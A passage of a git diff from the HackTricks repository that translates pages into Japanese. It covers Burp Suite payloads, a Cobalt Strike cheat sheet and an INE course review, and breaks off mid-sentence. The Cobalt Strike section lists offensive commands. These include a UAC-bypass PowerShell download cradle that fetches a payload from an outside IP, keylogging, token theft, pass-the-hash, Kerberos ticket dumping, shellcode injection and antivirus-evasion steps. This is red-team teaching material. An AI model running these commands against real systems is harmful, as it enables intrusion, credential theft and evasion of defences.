**HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/burp-suite.md b/burp-suite.md index 60d6a270a..86ba16c96 100644 --- a/burp-suite.md +++ b/burp-suite.md @@ -1,31 +1,29 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Payloads +# 基本的なペイロード -* **Simple List:** Just a list containing an entry in each line -* **Runtime File:** A list read in runtime (not loaded in memory). For supporting big lists. -* **Case Modification:** Apply some changes to a list of strings(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-. -* **Numbers:** Generate numbers from X to Y using Z step or randomly. -* **Brute Forcer:** Character set, min & max length. +* **シンプルなリスト:** 各行にエントリが含まれるリストです。 +* **ランタイムファイル:** メモリにロードされないリストをランタイムで読み込みます。大きなリストをサポートするために使用します。 +* **大文字小文字の変更:** 文字列のリストにいくつかの変更を適用します(変更なし、小文字に変換、大文字に変換、プロパーネームに変換 - 最初の文字を大文字にし、残りは小文字にする-、プロパーネームに変換 - 最初の文字を大文字にし、残りはそのままにする-)。 +* **数字:** XからYまでの数値をZステップまたはランダムに生成します。 +* **ブルートフォーサー:** 文字セット、最小長、最大長。 -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab. +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator):burpcollabへのDNSリクエストを介してコマンドを実行し、出力を取得するためのペイロード。 {% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} @@ -36,16 +34,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/c2/cobalt-strike.md b/c2/cobalt-strike.md index d0c3e70ae..cdaa9458b 100644 --- a/c2/cobalt-strike.md +++ b/c2/cobalt-strike.md @@ -1,217 +1,205 @@ # Cobalt Strike -### Listeners +### リスナー -### C2 Listeners +### C2リスナー -`Cobalt Strike -> Listeners -> Add/Edit` then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more. +`Cobalt Strike -> リスナー -> 追加/編集` で、リスンする場所、使用するビーコンの種類(http、dns、smbなど)などを選択できます。 -### Peer2Peer Listeners +### Peer2Peerリスナー -The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons. +これらのリスナーのビーコンは、C2と直接通信する必要はありません。他のビーコンを介して通信することができます。 -`Cobalt Strike -> Listeners -> Add/Edit` then you need to select the TCP or SMB beacons +`Cobalt Strike -> リスナー -> 追加/編集` で、TCPまたはSMBビーコンを選択する必要があります。 -* The **TCP beacon will set a listener in the port selected**. To connect to a TCP beacon use the command `connect ` from another beacon -* The **smb beacon will listen in a pipename with the selected name**. To connect to a SMB beacon you need to use the command `link [target] [pipe]`. +* **TCPビーコンは、選択したポートにリスナーを設定します**。別のビーコンからTCPビーコンに接続するには、`connect ` コマンドを使用します。 +* **SMBビーコンは、選択した名前のパイプでリスンします**。SMBビーコンに接続するには、`link [target] [pipe]` コマンドを使用する必要があります。 -### Generate & Host payloads +### ペイロードの生成とホスト -#### Generate payloads in files +#### ファイルへのペイロードの生成 -`Attacks -> Packages ->` +`攻撃 -> パッケージ ->` -* **`HTMLApplication`** for HTA files -* **`MS Office Macro`** for an office document with a macro -* **`Windows Executable`** for a .exe, .dll orr service .exe -* **`Windows Executable (S)`** for a **stageless** .exe, .dll or service .exe (better stageless than staged, less IoCs) +* **`HTMLApplication`** HTAファイル用 +* **`MS Office Macro`** マクロを含むオフィスドキュメント用 +* **`Windows Executable`** .exe、.dll、またはサービス .exe 用 +* **`Windows Executable (S)`** **ステージレス** .exe、.dll、またはサービス .exe 用(ステージドよりもステージレスの方がIoCが少ない) -#### Generate & Host payloads +#### ペイロードの生成とホスト -`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python +`攻撃 -> Web Drive-by -> スクリプト化されたWeb配信(S)` これにより、bitsadmin、exe、powershell、pythonなどの形式でCobalt Strikeからビーコンをダウンロードするためのスクリプト/実行可能ファイルが生成されます。 -#### Host Payloads +#### ペイロードのホスト -If you already has the file you want to host in a web sever just go to `Attacks -> Web Drive-by -> Host File` and select the file to host and web server config. +ウェブサーバーにホストするファイルがすでにある場合は、`攻撃 -> Web Drive-by -> ファイルのホスト` に移動し、ホストするファイルとウェブサーバーの設定を選択します。 -### Beacon Options +### ビーコンオプション -
# Execute local .NET binary
+
# ローカルの.NETバイナリの実行
 execute-assembly </path/to/executable.exe>
 
-# Screenshots
-printscreen    # Take a single screenshot via PrintScr method
-screenshot     # Take a single screenshot
-screenwatch    # Take periodic screenshots of desktop
-## Go to View -> Screenshots to see them
+# スクリーンショット
+printscreen    # PrintScrメソッドを使用して単一のスクリーンショットを撮影する
+screenshot     # 単一のスクリーンショットを撮影する
+screenwatch    # デスクトップの定期的なスクリーンショットを撮影する
+## これらを表示するには、表示 -> スクリーンショットに移動します
 
-# keylogger
+# キーロガー
 keylogger [pid] [x86|x64]
-## View > Keystrokes to see the keys pressed
+## キーストロークを表示するには、表示 > キーストロークに移動します
 
-# portscan
-portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process
+# ポートスキャン
+portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # 他のプロセス内でポートスキャンアクションをインジェクトする
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
-# Import Powershell module
+# Powershellモジュールのインポート
 powershell-import C:\path\to\PowerView.ps1
-powershell <just write powershell cmd here>
+powershell <ここにpowershellコマンドを記述>
 
-# User impersonation
-## Token generation with creds
-make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network
-ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
-rev2self # Stop using token generated with make_token
-## The use of make_token generates event 4624: An account was successfully logged on.  This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type.  As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
+# ユーザーのなりすまし
+## 資格情報を使用してトークンを生成
+make_token [DOMAIN\user] [password] # ネットワーク内のユーザーをなりすますためのトークンを作成
+ls \\computer_name\c$ # 生成されたトークンを使用してコンピューターのC$にアクセスしようとする
+rev2self # make_tokenで生成されたトークンの使用を停止する
+## make_tokenの使用により、イベント4624が生成されます。このイベントはWindowsドメインでは非常に一般的ですが、ログオンタイプでフィルタリングすることで絞り込むことができます。前述のように、LOGON32_LOGON_NEW_CREDENTIALSを使用しています。
 
-# UAC Bypass
-elevate svc-exe <listener>
-elevate uac-token-duplication <listener>
+# UACバイパス
+elevate svc-exe <リスナー>
+elevate uac-token-duplication <リスナー>
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 
-## Steal token from pid
-## Like make_token but stealing the token from a process
-steal_token [pid] # Also, this is useful for network actions, not local actions
-## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated <current_username> - it's impersonating our own cloned token.
-ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
-rev2self # Stop using token from steal_token
+## pidからトークンを盗む
+## make_tokenと同様ですが、プロセスからトークンを盗みます
+steal_token [pid] # また、これはローカルアクションではなく、ネットワークアクションにも役立ちます
+## APIドキュメントからわかるように、このログオンタイプは「呼び出し元が現在のトークンをクローンできる」ことを意味します。これがBeaconの出力にImpersonated <current_username>と表示される理由です-自分自身のクローンされたトークンをなりすましています。
+ls \\computer_name\c$ # 生成されたトークンを使用してコンピューターのC$にアクセスしようとする
+rev2self # steal_tokenからのトークンの使用を停止する
 
-## Launch process with nwe credentials
-spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
-## Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE).  It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).
+## 新しい資格情報でプロセスを起動する
+spawnas [domain\username] [password] [listener] # 読み取りアクセスがあるディレクトリ(例:cd C:\)から実行します
+## make_tokenと同様に、これによりWindowsイベント4624が生成されます。ログオンタイプは2(LOGON32_LOGON_INTERACTIVE)です。呼び出し元のユーザー(TargetUserName)となりすましたユーザー(TargetOutboundUserName)が詳細に表示されます。
 
-## Inject into process
+## プロセスにインジェクトする
 inject [pid] [x64|x86] [listener]
-## From an OpSec point of view: Don't perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).
+## OpSecの観点からは、本当に必要な場合以外はクロスプラットフォームのインジェクションを実行しないでください(例:x86 -> x64またはx64 -> x86)。
 
-## Pass the hash
-## This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
-pth [pid] [arch] [DOMAIN\user] [NTLM hash]
-pth [DOMAIN\user] [NTLM hash]
+## ハッシュの渡し
+## この変更プロセスでは、高リスクなアクションであるLSASSメモリのパッチが必要であり、ローカル管理者特権が必要であり、Protected Process Light(PPL)が有効になっている場合は実行できません。
+pth [pid] [arch] [DOMAIN\user] [NTLMハッシュ]
+pth [DOMAIN\user] [NTLMハッシュ]
 
-## Pass the hash through mimikatz
+## mimikatzを介したハッシュの渡し
 mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
-## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
-steal_token <pid> #Steal token from process created by mimikatz
+## /runがない場合、mimikatzはcmd.exeを生成します。デスクトップを実行しているユーザーはシェルを見ることができます(SYSTEMとして実行している場合は問題ありません)
+steal_token <pid> # mimikatzによって作成されたプロセスからトークンを盗む
 
-## Pass the ticket
-## Request a ticket
+## チケットの渡し
+## チケットの要求
 execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
-## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
+## 新しいチケットを使用するための新しいログオンセッションを作成する(侵害されたセッションを上書きしないようにするため)
 make_token <domain>\<username> DummyPass
-## Write the ticket in the attacker machine from a poweshell session & load it
+## 攻撃者のマシンにチケットを書き込んでロードする
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
-
-## Pass the ticket from SYSTEM
-## Generate a new process with the ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
-## Steal the token from that process
+## SYSTEMからチケットを渡す
+## チケットを持つ新しいプロセスを生成する
+execute-assembly C:\path\Rubeus.exe asktgt /user:<ユーザー名> /domain:<ドメイン> /aes256:<AESキー> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
+## そのプロセスからトークンを盗む
 steal_token <pid>
 
-## Extract ticket + Pass the ticket
-### List tickets
+## チケットの抽出 + チケットの渡し
+### チケットの一覧表示
 execute-assembly C:\path\Rubeus.exe triage
-### Dump insteresting ticket by luid
+### LUIDによる興味深いチケットのダンプ
 execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
-### Create new logon session, note luid and processid
+### 新しいログオンセッションを作成し、LUIDとプロセスIDをメモする
 execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
-### Insert ticket in generate logon session
+### 生成されたログオンセッションにチケットを挿入する
 execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
-### Finally, steal the token from that new process
+### 最後に、その新しいプロセスからトークンを盗む
 steal_token <pid>
 
-# Lateral Movement
-## If a token was created it will be used
+# 横方向の移動
+## トークンが作成された場合は使用されます
 jump [method] [target] [listener]
-## Methods:
-## psexec                    x86   Use a service to run a Service EXE artifact
-## psexec64                  x64   Use a service to run a Service EXE artifact
-## psexec_psh                x86   Use a service to run a PowerShell one-liner
-## winrm                     x86   Run a PowerShell script via WinRM
-## winrm64                   x64   Run a PowerShell script via WinRM
+## メソッド:
+## psexec                    x86   サービスを使用してService EXEアーティファクトを実行する
+## psexec64                  x64   サービスを使用してService EXEアーティファクトを実行する
+## psexec_psh                x86   サービスを使用してPowerShellのワンライナーを実行する
+## winrm                     x86   WinRMを介してPowerShellスクリプトを実行する
+## winrm64                   x64   WinRMを介してPowerShellスクリプトを実行する
 
 remote-exec [method] [target] [command]
-## Methods:
-## psexec                          Remote execute via Service Control Manager
-## winrm                           Remote execute via WinRM (PowerShell)
-## wmi                             Remote execute via WMI
+## メソッド:
+## psexec                          サービス制御マネージャーを介してリモート実行する
+## winrm                           WinRMを介してリモート実行する(PowerShell)
+## wmi                             WMIを介してリモート実行する
 
-## To execute a beacon with wmi (it isn't ins the jump command) just upload the beacon and execute it
+## wmiでビーコンを実行するには(jumpコマンドには含まれていません)、ビーコンをアップロードして実行するだけです
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
 
-# Pass session to Metasploit - Through listener
-## On metaploit host
+# Metasploitにセッションを渡す - リスナーを介して
+## Metasploitホストで
 msf6 > use exploit/multi/handler
 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
 msf6 exploit(multi/handler) > set LHOST eth0
 msf6 exploit(multi/handler) > set LPORT 8080
 msf6 exploit(multi/handler) > exploit -j
 
-## On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
+## Cobaltで: Listeners > Add として、PayloadをForeign HTTPに設定します。Hostを10.10.5.120、Portを8080に設定し、保存をクリックします。
 beacon> spawn metasploit
-## You can only spawn x86 Meterpreter sessions with the foreign listener.
+## Foreignリスナーではx86 Meterpreterセッションのみを生成できます。
 
-# Pass session to Metasploit - Through shellcode injection
-## On metasploit host
+# Metasploitにセッションを渡す - シェルコードインジェクションを介して
+## Metasploitホストで
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
-## Run msfvenom and prepare the multi/handler listener
+## msfvenomを実行し、multi/handlerリスナーを準備します
 
-## Copy bin file to cobalt strike host
+## binファイルをCobalt Strikeホストにコピーします
 ps
-shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
+shinject <pid> x64 C:\Payloads\msf.bin #x64プロセスにMetasploitのシェルコードをインジェクトする
 
-# Pass metasploit session to cobalt strike
-## Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
-## Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode
+# MetasploitセッションをCobalt Strikeに渡す
+## ステージレスのBeaconシェルコードを生成します。Attacks > Packages > Windows Executable (S)に移動し、希望するリスナーを選択し、出力タイプとしてRawを選択し、x64ペイロードを使用するように選択します。
+## Metasploitのpost/windows/manage/shellcode_injectを使用して生成されたCobalt Strikeのシェルコードをインジェクトします
 
 
-# Pivoting
-## Open a socks proxy in the teamserver
+# ピボット
+## チームサーバーでソックスプロキシを開く
 beacon> socks 1080
 
-# SSH connection
-beacon> ssh 10.10.17.12:22 username password
+# SSH接続 +beacon> ssh 10.10.17.12:22 ユーザー名 パスワード
-## Avoiding AVs +## AV回避 ### Artifact Kit -Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons. +通常、`/opt/cobaltstrike/artifact-kit`には、Cobalt Strikeがバイナリビーコンを生成するために使用するペイロードのコードと事前コンパイルされたテンプレート(`/src-common`内)が含まれています。 -Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary. - -After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`. +[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)を生成されたバックドア(またはコンパイルされたテンプレート)と一緒に使用して、Defenderがトリガーされる要因を見つけることができます。通常、それは文字列です。したがって、バックドアを生成しているコードを変更し、その文字列が最終的なバイナリに表示されないようにします。 +コードを変更した後、同じディレクトリから`./build.sh`を実行し、`dist-pipe/`フォルダをWindowsクライアントの`C:\Tools\cobaltstrike\ArtifactKit`にコピーします。 ``` pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` +忘れずに攻撃的なスクリプト `dist-pipe\artifact.cna` をロードして、Cobalt Strikeにディスクから必要なリソースを使用させるように指示します。 -Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded. +### リソースキット -### Resource Kit - -The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA. - -Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it: +リソースキットフォルダには、Cobalt Strikeのスクリプトベースのペイロード(PowerShell、VBA、HTAを含む)のテンプレートが含まれています。 +テンプレートを使用して[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)を実行すると、ディフェンダー(この場合はAMSI)が好ましくないものを見つけて修正することができます。 ``` .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1 ``` +検出された行を変更することで、検知されないテンプレートを生成することができます。 -Modifying the detected lines one can generate a template that won't be caught. - -Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded. - - - - - - - +Cobalt Strikeにディスクから必要なリソースをロードさせるために、攻撃的なスクリプト `ResourceKit\resources.cna` を読み込むことを忘れないでください。 ```bash cd C:\Tools\neo4j\bin neo4j.bat console @@ -233,3 +221,4 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` + diff --git a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md index 4023d4bf7..87eab7987 100644 --- a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md +++ b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md @@ -1,120 +1,99 @@ -# INE Courses and eLearnSecurity Certifications Reviews +# INEコースとeLearnSecurity認定のレビュー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## eLearnSecurity Mobile Application Penetration Tester (eMAPT) and the respective INE courses +## eLearnSecurityモバイルアプリケーションペネトレーションテスター(eMAPT)とそれに対応するINEコース -### Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) +### コース:[**Android&モバイルアプリのペネトレーションテスト**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) -This is the course to **prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**. +これはeMAPTの認定試験の準備をするためのコースです。Androidの基礎、アプリケーションの動作方法、Androidアプリケーションの最も重要なコンポーネント、およびアプリケーションをテストするための主要なツールの設定と使用方法を教えてくれます。目標は、実際の生活でAndroidアプリケーションのペネトレーションテストができるように準備することです。 -I found the course to be a great one for **people that don't have any experience pentesting Android** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience pentesting Android applications **this course taught me some Android basics I didn't know and some new tricks**. +このコースは、Androidアプリケーションのペネトレーションテストの経験がない人にとっては素晴らしいものです。ただし、トピックに経験があり、コースにアクセスできる場合は、それを見てみることもおすすめです。私がこのコースを受講したときも、数年間のAndroidアプリケーションのペネトレーションテストの経験がありましたが、このコースでは知らなかったAndroidの基礎と新しいトリックを学びました。 -Finally, note **two more things** about this course: It has **great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as **it teach you the basics to be able to understand other Android vulnerabilities**.\ -Besides, once you have completed the course (or before) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-pentesting/android-app-pentesting/) and learn more tricks. +最後に、このコースについて2つのことを注意しておきます。学んだことを実践するための素晴らしいラボがありますが、Androidアプリケーションで見つけることができるすべての可能な脆弱性を説明しているわけではありません。それでも、他のAndroidの脆弱性を理解するための基礎を教えてくれるので、問題ありません。\ +また、コースを完了した後(または前)に、[**Hacktricks Androidアプリケーションのペネトレーションテストセクション**](../mobile-pentesting/android-app-pentesting/)に移動して、さらにトリックを学ぶことができます。 -### Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) +### コース:[**iOS&モバイルアプリのペネトレーションテスト**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) -When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity.** As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications.\ -However, there is a very important difference with the 